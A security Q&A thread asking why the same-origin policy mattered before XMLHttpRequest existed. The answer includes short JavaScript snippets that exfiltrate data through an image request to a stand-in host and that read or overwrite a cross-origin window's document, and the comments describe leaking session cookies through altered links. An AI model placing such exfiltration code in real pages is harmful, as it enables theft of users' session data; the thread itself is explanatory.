6

As I understand it, the Same-origin policy (SOP) basically prevents a script in a web page from obtaining or sending information from/to a different domain.

I understand that this is important to prevent a page from grabbing private data and passing it along somewhere else. For example, without the SOP, I could write a public web page with a script that:

  • reads information from an intranet site only accessible to the client browser (but not to my server) and
  • sends it back to my server using XMLHttpRequest (or fetch())

However, when the SOP was introduced (JavaScript 1.0, in Netscape Navigator 2.0 in 1995), there was no way to send a request from JavaScript. XMLHttpRequest was only introduced in Internet Explorer 5.0 in March 1999, and fetch() even later.

So - what attacks did the SOP prevent without a way to send a request? Obviously, without SOP a script could grab all kinds of potentially private data, but where is the risk if the script has no way to pass it on?


The Client-Side JavaScript Guide V1.3 (from 1999, hence before XMLHttpRequest) just says:

JavaScript automatically prevents scripts on one server from accessing properties of documents on a different server. This restriction prevents scripts from fetching private information such as directory structures or user session history.

However, it does not explain why "fetching private information" is a problem if there is no way for the script to exfiltrate it.

  • You could use javascript to change links on your website that appends session cookie.When the user clicks link the cookie would send along with the get request – Vipul Nair Jan 17 at 11:10
  • That sounds like a (partial) answer :-). – sleske Jan 17 at 11:12
  • Hence the comment.I am sure there will be a better answer. :-) – Vipul Nair Jan 17 at 11:16
  • forms have worked since before 1999. forms can be created and submitted programatically. you could also use the window.name exfiltrate across domains, or GET requests to any domain via iframe/img/embed/script/object tags, popups, etc. – dandavis Jan 17 at 18:15
2

Data exfiltration isn't very difficult, because there are various elements which fetch (remote) content.

One example is an image:

var img = document. createElement("img");
img.src = "http://example.com/log?message=" + exfiltrated_data;
var src = document.getElementById("somediv");
src.appendChild(img);

Other avenues would be fetching of CSS/JS files, etc.

Fetching the data is also easy:

var windowx = window.open("http://example.com/stealthis.html");
windowx.onload = function() {
// The SOP prevents this read for different origins:
console.log(windowx.document); // can be exfiltrated via image. 
};

But the SOP is not just about confidentiality, but also integrity. The way the exfiltration code would be injected into the target website would already be a problem, because it would allow an attacker to change what a website displays:

var windowx = window.open("http://example.com/modifythis.html");
windowx.onload = function() {
console.log(windowx.document.write('this shouldn\'t be here'));
};

This can then be used to exfiltrate data (see above), show phishing forms, intercept already existing forms to send the entered data to an attacker, defacement, etc.

  • first one works with just a one liner new Image().src='//what.ever?666'; – dandavis Jan 17 at 18:17

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for?Browse other questions tagged or ask your own question.